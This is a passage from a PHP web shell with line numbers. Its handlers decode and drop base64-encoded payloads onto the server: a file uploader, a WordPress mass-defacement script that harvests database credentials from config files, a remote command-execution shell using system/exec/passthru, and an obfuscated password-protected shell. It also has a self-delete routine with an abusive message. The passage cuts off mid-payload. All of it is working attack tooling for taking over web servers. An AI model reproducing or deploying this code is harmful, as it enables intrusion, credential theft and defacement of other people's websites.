1568 font-size: 100%;
1569 text-align: center;
1570 color: black;
1571 }
1572 </style>
1573 <script language="JavaScript1.2">
1574 function ejs_nodroit(){
1575 alert("Shell Site Again Bitch!");
1576 return(false);
1577 }
1578 document.oncontextmenu = ejs_nodroit;
1579 </script>
1580 </head>
1581 <body class="body">
1582 <div class="font">
1583 <font>You Deleted Me :3<br>Now Fuck off :V</font>
1584 </div>
1585 </body>
1586</html>');
1587 else
1588 echo 'unlink error!';
1589 if($_POST['p1'] != 'yes')
1590 BlackscorpionHeader();
1591 echo '<center><h1>Suicide</h1><div class=content>Do You Want To Remove This Shell :o ?<br><a href=# onclick="g(null,null,\'yes\')">Yup</a></div>';
1592 BlackscorpionFooter();
1593}
1594 if(isset($_POST['uploader'])){
1595 $uploader = 'PD9waHAKJFVwbG9hZGVyID0gIlpXTm9ieUFuUEdoMGJXdytQR2hsWVdRK1BIUnBkR3hsUGtacGJHVWdWWEJzYjJGa1pYSWdZbmtnUVc0d2JpQXplRkJzYjJsVVpWSThMM1JwZEd4bFBnbzhiR2x1YXlCeVpXdzlJbWxqYjI0aUlIUjVjR1U5SW1sdFlXZGxMM0J1WnlJZ2FISmxaajBpYUhSMGNITTZMeTh4TG1Kd0xtSnNiMmR6Y0c5MExtTnZiUzh0YmtFdGEyRnZMWEpsVUVrdlZqaG9WMDF1WDJkelYwa3ZRVUZCUVVGQlFVRkVSbEV2WTFOQlNYSnlNV3huYjBsSFpsQXpMVWxyVDFOaFVtbzRTRTlwT0VoTVMwbDNRMUJqUWk5ek1UWXdNQzh4TkRFM01qQXlNbDh4TWpjME1ERTRNemMzTVRJek56aGZNVEEzTmpreU5EVXlORjl1TG1wd1p5SStQQzlvWldGa1BqeGliMlI1UGdvOGMzUjViR1UrQ21KdlpIbDdDbVp2Ym5RdFptRnRhV3g1T2lBaVVtRmphVzVuSUZOaGJuTWdUMjVsSWl3Z1kzVnljMmwyWlRzS1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0kyVTJaVFpsTmpzS2RHVjRkQzF6YUdGa2IzYzZNSEI0SURCd2VDQXhjSGdnSXpjMU56VTNOVHNLZlFvalkyOXVkR1Z1ZENCMGNqcG9iM1psY25zS1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0l6WXpOakkyTXpzS2RHVjRkQzF6YUdGa2IzYzZNSEI0SURCd2VDQXhNSEI0SUNObVptWTdDbjBLSTJOdmJuUmxiblFnTG1acGNuTjBld3BpWVdOclozSnZkVzVrTFdOdmJHOXlPaUJ6YVd4MlpYSTdDbjBLSTJOdmJuUmxiblFnTG1acGNuTjBPbWh2ZG1WeWV3cGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQnphV3gyWlhJN0NuUmxlSFF0YzJoaFpHOTNPakJ3ZUNBd2NIZ2dNWEI0SUNNM05UYzFOelU3Q24wS2RHRmliR1Y3Q21KdmNtUmxjam9nTVhCNElDTXdNREF3TURBZ1pHOTBkR1ZrT3dwOUNrZ3hld3BtYjI1MExXWmhiV2xzZVRvZ0lsSjVaU0lzSUdOMWNuTnBkbVU3Q24wS1lYc0tZMjlzYjNJNllteDFaVHNLZEdWNGRDMWtaV052Y21GMGFXOXVPaUJ1YjI1bE93cDlDbUU2YUc5MlpYSjdDbU52Ykc5eU9pQWpZMlF3TUdabU93cDBaWGgwTFhOb1lXUnZkem93Y0hnZ01IQjRJREV3Y0hnZ0kyWm1abVptWmpzS2ZRcHBibkIxZEN4elpXeGxZM1FzZEdWNGRHRnlaV0Y3Q21KdmNtUmxjam9nTVhCNElDTXdNREF3TURBZ2MyOXNhV1E3Q2kxdGIzb3RZbTl5WkdWeUxYSmhaR2wxY3pvZ05YQjRPd290ZDJWaWEybDBMV0p2Y21SbGNpMXlZV1JwZFhNNk5YQjRPd3BpYjNKa1pYSXRjbUZrYVhWek9qVndlRHNLZlFvOEwzTjBlV3hsUGdvOEwwaEZRVVErQ2p4Q1QwUlpQZ284U0RFK1BHTmxiblJsY2o0OFptOXVkQ0JqYjJ4dmNqMGljbVZrSWo1K2ZuNDhMMlp2Ym5RK1EyOWtaV1FnWW5rZ1BHWnZiblFnWTI5c2IzSTlJbkpsWkNJK1FUd3ZabTl1ZEQ1dU1HNGdNM2c4Wm05dWRDQmpiMnh2Y2owaWNtVmtJajVRYkc5cFBDOW1iMjUwUGxSbFVqeG1iMjUwSUdOdmJHOXlQU0p5WldRaVBuNStmand2Wm05dWRENEtQR0p5UGp4bWIyNTBJR052Ykc5eVBTSmliSFZsSWo1K2ZuNVFZV3NnUEdadmJuUWdZMjlzYjNJOUluSmxaQ0krUTNsaVpYSThMMlp2Ym5RK0lFZG9iM04wYzM1K2Zqd3ZabTl1ZEQ0S0lEd3ZZMlZ1ZEdWeVBqd3ZTREUrQ2p4alpXNTBaWEkrQ2p4bWIzSnRJRzFsZEdodlpEMVFUMU5VSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaUlHRmpkR2x2YmowaUlqNEtJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBYUmxlSFFnYm1GdFpUMXdZWFJvUGdvSlBHbHVjSFYwSUhSNWNHVTlJbVpwYkdVaUlHNWhiV1U5SW1acGJHVnpJajRLQ1R4cGJuQjFkQ0IwZVhCbFBYTjFZbTFwZENCMllXeDFaVDBpVlhCc2IyRmtJajRLUEM5bWIzSnRQand2WW05a2VUNDhMMk5sYm5SbGNqNDhMMmgwYld3K0p6c0tKR1pwYkdWeklEMGdRQ1JmUmtsTVJWTmJJbVpwYkdWeklsMDdDbWxtSUNna1ptbHNaWE5iSW01aGJXVWlYU0FoUFNBbkp5a2dld29nSUNBZ0pHWjFiR3h3WVhSb0lEMGdKRjlTUlZGVlJWTlVXeUp3WVhSb0lsMGdMaUFrWm1sc1pYTmJJbTVoYldVaVhUc0tJQ0FnSUdsbUlDaHRiM1psWDNWd2JHOWhaR1ZrWDJacGJHVW9KR1pwYkdWeld5ZDBiWEJmYm1GdFpTZGRMQ0FrWm5Wc2JIQmhkR2dwS1NCN0NpQWdJQ0FnSUNBZ1pXTm9ieUFpUEdObGJuUmxjajQ4YURJK1BHRWdhSEpsWmowbkpHWjFiR3h3WVhSb0p5QjBZWEpuWlhROUoxOWliR0Z1YXljK1EyeHBZMnNnZEc4Z1lXTmpaWE56SUhWd2JHOWhaR1ZrSUVacGJHVThMMkUrUEM5b01qNDhMMk5sYm5SbGNqNGlPd29nSUNBZ2ZRcDkiOyBldmFsKGJhc2U2NF9kZWNvZGUoJFVwbG9hZGVyKSk7Cj8+CQkJ';
1596 $file = fopen("uploader.php.py","w");
1597 $write = fwrite ($file ,base64_decode($uploader));
1598 fclose($file);
1599 header("location:uploader.php"); }
1600 if(isset($_POST['mass'])){
1601 $mass = 'PHRpdGxlPldvcmRwcmVzcyBNYXNzIERlZmFjZSBCeSBBbjBuIDN4UGxvaVRlUjwvdGl0bGU+CjxzdHlsZT4KYm9keQp7CgliYWNrZ3JvdW5kOiAjMGYwZTBkOwoJY29sb3I6ICNGRjk5MzM7CglwYWRkaW5nOiAwcHg7Cn0KYTpsaW5rLCBib2R5X2FsaW5rCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6dmlzaXRlZCwgYm9keV9hdmlzaXRlZAp7Cgljb2xvcjogI0ZGOTkzMzsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOmhvdmVyLCBhOmFjdGl2ZSwgYm9keV9haG92ZXIKewoJY29sb3I6ICNGRkZGRkY7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KdGQsIHRoLCBwLCBsaSx0YWJsZQp7CgkKCWJhY2tncm91bmQ6ICMyZTJiMjg7Cglib3JkZXI6MXB4IHNvbGlkICM1MjRmNDY7Cn0KaW5wdXQKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCW92ZXJmbG93OiBoaWRkZW47CgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJY29sb3I6ICNmZmZmZmY7Cn10ZXh0YXJlYQp7Cglib3JkZXI6IDFweCBzb2xpZDsKCWN1cnNvcjogZGVmYXVsdDsKCQoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMyZTJiMjg7Cgljb2xvcjogI2ZmZmZmZjsKfQpidXR0b24KewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCW92ZXJmbG93OiBoaWRkZW47CgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJY29sb3I6ICNmZmZmZmY7Cn0KPC9zdHlsZT4KPC9oZWFkPgoKPGJvZHkgYmdjb2xvcj0iYmxhY2siPgo8Y2VudGVyPgo8cHJlPgpfXyAgICAgICAgICBfXyAgICAgIF9fICBfXyAgICAgICAgICAgICAgICAgX19fX18gICAgICAgIF9fICAgICAgICAgICAgICAgClwgXCAgICAgICAgLyAvICAgICB8ICBcLyAgfCAgICAgICAgICAgICAgIHwgIF9fIFwgICAgICAvIF98ICAgICAgICAgICAgICAKIFwgXCAgL1wgIC8gLyBfXyAgIHwgXCAgLyB8IF9fIF8gX19fIF9fXyAgfCB8ICB8IHwgX19ffCB8XyBfXyBfICBfX18gX19fIAogIFwgXC8gIFwvIC8gJ18gXCAgfCB8XC98IHwvIF9gIC8gX18vIF9ffCB8IHwgIHwgfC8gXyBcICBfLyBfYCB8LyBfXy8gXyBcCiAgIFwgIC9cICAvfCB8XykgfCB8IHwgIHwgfCAoX3wgXF9fIFxfXyBcIHwgfF9ffCB8ICBfXy8gfHwgKF98IHwgKF98ICBfXy8KICAgIFwvICBcLyB8IC5fXy8gIHxffCAgfF98XF9fLF98X19fL19fXy8gfF9fX19fLyBcX19ffF98IFxfXyxffFxfX19cX19ffAogICAgICAgICAgIHwgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgfF98ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC9wcmU+CjwvY2VudGVyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIiA+CjxjZW50ZXI+Cjx0YWJsZSBib3JkZXI9JzEnPjx0cj48dGQ+TGlzdCBvZiBBbGwgU3ltbGlua3M8L3RkPjx0ZD4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgc2l6ZT0iMTAwIiB2YWx1ZT0idW1hci50eHQiPjwvdGQ+PC90cj4KPHRyPjx0ZD5JbmRleDwvdGQ+PHRkPgo8dGV4dGFyZWEgbmFtZT0iaW5kZXgiIGNvbHM9JzUwJyByb3dzPScxMCcgPjwvdGV4dGFyZWE+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48YnI+PGlucHV0IHR5cGU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0IiB2YWx1ZT0iU3VibWl0Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iMSI+PC9mb3JtPgo8L2NlbnRlcj4KPD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmlmICgkX1BPU1RbJ2FjdGlvbiddID09ICcxJyl7CiR1cmw9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3VybCddKTsKJHVzZXJzPUBmaWxlKCR1cmwpOwoKCmlmIChjb3VudCgkdXNlcnMpPDEpIGV4aXQoIjxoMT5ObyBjb25maWcgZm91bmQ8L2gxPiIpOwpmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsKJHVzZXIxPXRyaW0oJHVzZXIpOwokY29kZT1maWxlX2dldF9jb250ZW50czIoJHVzZXIxKTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX05BTUVcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIxKTsKJGRiPSRiMVsxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX1VTRVJcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIyKTsKJHVzZXI9JGIyWzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfGRlZmluZS4qXCguKlwnREJfUEFTU1dPUkRcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIzKTsKJGRiX3Bhc3N3b3JkPSRiM1sxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX0hPU1RcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGI0KTsKJGhvc3Q9JGI0WzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfFwkdGFibGVfcHJlZml4Lio9LipcJyguKilcJy4qO3xpc1UnLCRjb2RlLCRiNSk7CiRwPSRiNVsxXVswXTsKCgokZD1AbXlzcWxfY29ubmVjdCggJGhvc3QsICR1c2VyLCAkZGJfcGFzc3dvcmQgKSA7CmlmICgkZCl7CkBteXNxbF9zZWxlY3RfZGIoJGRiICk7CiRzb3VyY2U9c3RyaXBzbGFzaGVzKCRfUE9TVFsnaW5kZXgnXSk7CiRzMj1zdHJUb0hleCgoJHNvdXJjZSkpOwokcz0iPHNjcmlwdD5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuaW5uZXJIVE1MID0gdW5lc2NhcGUoJyckczInJyk7PC9zY3JpcHQ+IjsKJGxzPXN0cmxlbigkcyktMjsKJHNxbD0idXBkYXRlICIuJHAuIm9wdGlvbnMgc2V0IG9wdGlvbl92YWx1ZT0nYToyOntpOjI7YTozOntzOjU6XCJ0aXRsZVwiO3M6MDpcIlwiO3M6NDpcInRleHRcIjtzOiRsczpcIiRzXCI7czo2OlwiZmlsdGVyXCI7YjowO31zOjEyOlwiX211bHRpd2lkZ2V0XCI7aToxO30nIHdoZXJlIG9wdGlvbl9uYW1lPSd3aWRnZXRfdGV4dCc7ICI7Cm15c3FsX3F1ZXJ5KCRzcWwpIDsKJHNxbD0idXBkYXRlICIuJHAuIm9wdGlvbnMgc2V0IG9wdGlvbl92YWx1ZT0nYTo3OntzOjE5Olwid3BfaW5hY3RpdmVfd2lkZ2V0c1wiO2E6Njp7aTowO3M6MTA6XCJhcmNoaXZlcy0yXCI7aToxO3M6NjpcIm1ldGEtMlwiO2k6MjtzOjg6XCJzZWFyY2gtMlwiO2k6MztzOjEyOlwiY2F0ZWdvcmllcy0yXCI7aTo0O3M6MTQ6XCJyZWNlbnQtcG9zdHMtMlwiO2k6NTtzOjE3OlwicmVjZW50LWNvbW1lbnRzLTJcIjt9czo5Olwic2lkZWJhci0xXCI7YToxOntpOjA7czo2OlwidGV4dC0yXCI7fXM6OTpcInNpZGViYXItMlwiO2E6MDp7fXM6OTpcInNpZGViYXItM1wiO2E6MDp7fXM6OTpcInNpZGViYXItNFwiO2E6MDp7fXM6OTpcInNpZGViYXItNVwiO2E6MDp7fXM6MTM6XCJhcnJheV92ZXJzaW9uXCI7aTozO30nIHdoZXJlIG9wdGlvbl9uYW1lPSdzaWRlYmFyc193aWRnZXRzJzsiOwpteXNxbF9xdWVyeSgkc3FsKSA7CmlmIChmdW5jdGlvbl9leGlzdHMoIm1iX2NvbnZlcnRfZW5jb2RpbmciKSApCnsKJHNvdXJjZTIgPSBtYl9jb252ZXJ0X2VuY29kaW5nKCc8L3RpdGxlPicuJHNvdXJjZS4nPERJViBzdHlsZT0iRElTUExBWTogbm9uZSI+PHhtcD4nLCAnVVRGLTcnKTsKJHNvdXJjZTI9bXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCRzb3VyY2UyKTsKJHNxbCA9ICJVUERBVEUgYCIuJHAuIm9wdGlvbnNgIFNFVCBgb3B0aW9uX3ZhbHVlYCA9ICckc291cmNlMicgV0hFUkUgYG9wdGlvbl9uYW1lYCA9ICdibG9nbmFtZSc7IjsKQG15c3FsX3F1ZXJ5KCRzcWwpIDsgOwokc3FsPSAiVVBEQVRFIGAiLiRwLiJvcHRpb25zYCBTRVQgYG9wdGlvbl92YWx1ZWAgPSAnVVRGLTcnIFdIRVJFIGBvcHRpb25fbmFtZWAgPSAnYmxvZ19jaGFyc2V0JzsiOwpAbXlzcWxfcXVlcnkoJHNxbCkgOyA7Cn0KJGFhPUBteXNxbF9xdWVyeSgic2VsZWN0IG9wdGlvbl92YWx1ZSBmcm9tIGAiLiRwLiJvcHRpb25zYCBXSEVSRSBgb3B0aW9uX25hbWVgID0gJ3NpdGV1cmwnOyIpIDs7CiRzaXRldXJsPUBteXNxbF9mZXRjaF9hcnJheSgkYWEpIDsKJHNpdGV1cmw9JHNpdGV1cmxbJ29wdGlvbl92YWx1ZSddOwokdHIuPSIkc2l0ZXVybC9pbmRleC5waHBcbiI7Cm15c3FsX2Nsb3NlKCk7Cn0KfQppZiAoJHRyKSBlY2hvICJJbmRleCBjaGFuZ2VkIGZvciA8YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPSc1MCcgcm93cz0nMTAnID4kdHI8L3RleHRhcmVhPiI7Cn0KZnVuY3Rpb24gc3RyVG9IZXgoJHN0cmluZykKewogICAgJGhleD0nJzsKICAgIGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJHN0cmluZyk7ICRpKyspCiAgICB7CglpZiAoc3RybGVuKGRlY2hleChvcmQoJHN0cmluZ1skaV0pKSk9PTEpewogICAgICAgICRoZXggLj0iJTAiLiBkZWNoZXgob3JkKCRzdHJpbmdbJGldKSk7CgkJfQoJCWVsc2UKCQl7CgkJJGhleCAuPSIlIi4gZGVjaGV4KG9yZCgkc3RyaW5nWyRpXSkpOwoJCX0KICAgIH0KICAgIHJldHVybiAkaGV4Owp9CgpmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50czIoJHUpewoKCSRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1KTsKIAljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsgICAgCiAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVNFUkFHRU5ULCJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBydjoxMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEyLjAgIik7CgkgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwoJcmV0dXJuICRyZXN1bHQgOwoJfQoJCj8+';
1602 $file = fopen("mass.php","w");
1603 $write = fwrite ($file ,base64_decode($mass));
1604 fclose($file);
1605 header("location:mass.php"); }
1606 if(isset($_POST['anoncmd'])){
1607 $anoncmd = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQeXRob24gQ29ubmVjdCBTaGVsbCBQcml2ODwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaDMgewp0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7CiAgZm9udC1zaXplOiAxMHB4OwogIGNvbG9yOiAjMDA3NkIxOwogIAp9Ci5hcmVhIHsKICBjb2xvcjogIzAwNzZCMTsKICBmb250LXNpemU6IDlwdDsKICB0ZXh0LXNoYWRvdzogIzAwNzZCMSAwcHggMnB4IDdweDsKICBib3JkZXI6IHNvbGlkIDFweCAjMDA3NkIxOwogIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OwogIGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDk5MDA7CiAgcGFkZGluZzogM3B4OwogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OwogIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OwogIGJvcmRlci1yYWRpdXM6IDRweDsKICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDsKfQogaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7CiAgZm9udC13ZWlnaHQ6IGJvbGQ7IAp0ZXh0LWFsaWduOiBjZW50ZXI7IAogdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsKICBiYWNrZ3JvdW5kOiAjYWVhZWFlOyAKIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7IAogYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgCiBib3JkZXItYm90dG9tLWNvbG9yOiAjMjIzYjY2OyAKIGJvcmRlci1yYWRpdXM6IDRweDsgIApjdXJzb3I6IHBvaW50ZXI7ICAKYmFja2dyb3VuZC1pbWFnZTotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOwogYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsKICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgCiBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgCiAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7IH0gCgppbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NkIxOyB0ZXh0LXNoYWRvdzogIzAwNzZCMSAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzZCMTsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc2QjE7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogIzAwNzZCMSAwcHggMHB4IDRweDt9IAoKCgoKPC9zdHlsZT4KPD9waHAKZWNobyAnCjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD1HRVQ+CjxwPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgcm93cz0iMTMiIG5hbWU9InRleHQiIHZhbHVlPSJweXQiIGNvbHM9IjcwIiA+JzsKCgppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7CmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9CmlmIChzdHJsZW4oJF9QT1NUWydjb21tYW5kJ10pPjEgJiYgJF9QT1NUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpewplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9CgppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXT09InBvcGVuIil7CnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9CgplY2hvJzwvdGV4dGFyZWE+PC9wPgo8cD48Y2VudGVyPjwvY2VudGVyPjwvcD4KPHAgYWxpZ249ImNlbnRlciI+PHN0cm9uZz48L3N0cm9uZz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idnciIHNpemU9IjUwIiB2YWx1ZT0iY21kIj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbW1hbmQiIHNpemU9IjQzIj4gPHNlbGVjdCBuYW1lPWV4ZWNtZXRob2Q+CjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImtrayIgdmFsdWU9IkV4ZWN1dGUiPgo8L3A+PC9mb3JtPic7Cgo/Pg==';
1608 $file = fopen("anoncmd.php","w");
1609 $write = fwrite ($file ,base64_decode($anoncmd));
1610 fclose($file);
1611 header("location:anoncmd.php"); }
1612 if(isset($_POST['madleets'])){
1613 $madleets = 'PD9waHAgCiRuYW1lID0gInVtYXIiOwokcGFzc3dvcmQgPSAidW1hciI7IAogJHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDczalx4NmZidlx4NzNuXHg2NVx4NmYiXT0iXHg3NFx4NjVceDczXHg3NF9jb21tXHg2MVx4NmVceDY0IjskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImJkXHg2ZFx4N2F0d1x4NzllXHg3NSJdPSJwXHg2OFx4NzBceDY5XHg2ZWZvIjskeyJceDQ3XHg0Y09ceDQyQVx4NGNceDUzIn1bIlx4NjVceDcxXHg3NGJceDZlXHg3OVx4NmQiXT0iXHg3Mlx4NjVzdVx4NmNceDc0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NjlceDc2XHg2MnBvXHg2NXBceDY3XHg3NVx4NjNceDdhIl09ImNoXHg2NGlyIjskeyJHXHg0Y09CQVx4NGNTIn1bInBceDc2XHg2Mlx4NmRceDczXHg2Zlx4NzRzIl09Ilx4NjNceDZmXHg2ZFx4NmRhXHg2ZVx4NjQiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg2N1x4NzZjZm5uXHg3YVx4NjdkIl09InBceDYxXHg3Mlx4NzRceDczIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjRmcVx4NmN4XHg3MVx4NjlceDZlXHg2NVx4NzlceDY0Il09ImNceDcyYXdceDZjXHg2NVx4NzJceDczIjskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVvIl09ImRhdFx4NjEiOyR7IkdMXHg0ZkJBXHg0Y1MifVsiXHg2M1x4NzF1bndoXHg2ZFx4NjYiXT0iclx4NjVceDczcFx4NmZceDZlXHg3M1x4NjUiO2Z1bmN0aW9uIGdldElzQ3Jhd2xlcigkdXNlckFnZW50KXskeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2NGZceDcxXHg2Y1x4NzhxaW5lXHg3OVx4NjQiXX09Ilx4NDdceDZmXHg2Zlx4NjdsXHg2NXxceDZkXHg3M25ceDYyb3R8XHg1MmFceDZkXHg2Mlx4NmNlcnxceDU5XHg2MVx4NjhceDZmb3xBYlx4NjFceDYzXHg2OFx4NmZceDQyT1x4NTR8YVx4NjNceDYzXHg2Zlx4NmZceDZlXHg2MXwiLiJceDQxXHg2M1x4NjlvXHg1Mm9ceDYyb3R8QVNceDUwXHg1M2VlXHg2YnxDb2NceDZmQ1x4NzJceDYxXHg3N2xlcnxceDQ0XHg3NVx4NmRiXHg2ZnR8RkFTVC1XZVx4NjJDclx4NjF3bGVyfCIuIlx4NDdceDY1b1x4NmVceDYxQm9ceDc0fEdceDY5Z1x4NjFceDYyb1x4NzR8TFx4Nzljb3N8XHg0ZFx4NTNSQk9UfFx4NTNceDYzb1x4NmZceDc0XHg2NXJ8QVx4NmNceDc0XHg2MVx4NTZceDY5c1x4NzRceDYxfFx4NDlceDQ0XHg0Mm9ceDc0fFx4NjVceDUzXHg3NFx4NzlsZXxTY3JceDc1Ylx4NjJ5IjskaGhxZ2J3ZWg9ImlceDczQ1x4NzJceDYxXHg3N1x4NmNceDY1clx4NzMiOyRqeXd2dnBiPSJ1XHg3M1x4NjVceDcyQVx4Njdlblx4NzQiOyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3NVx4Njhvclx4NjFceDc2XHg2OCJdPSJpXHg3M0NceDcyXHg2MVx4NzdceDZjXHg2NVx4NzJzIjskeyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NWhceDZmclx4NjFceDc2XHg2OCJdfT0ocHJlZ19tYXRjaCgiLyRjcmF3bGVycy9ceDY5Iiwkey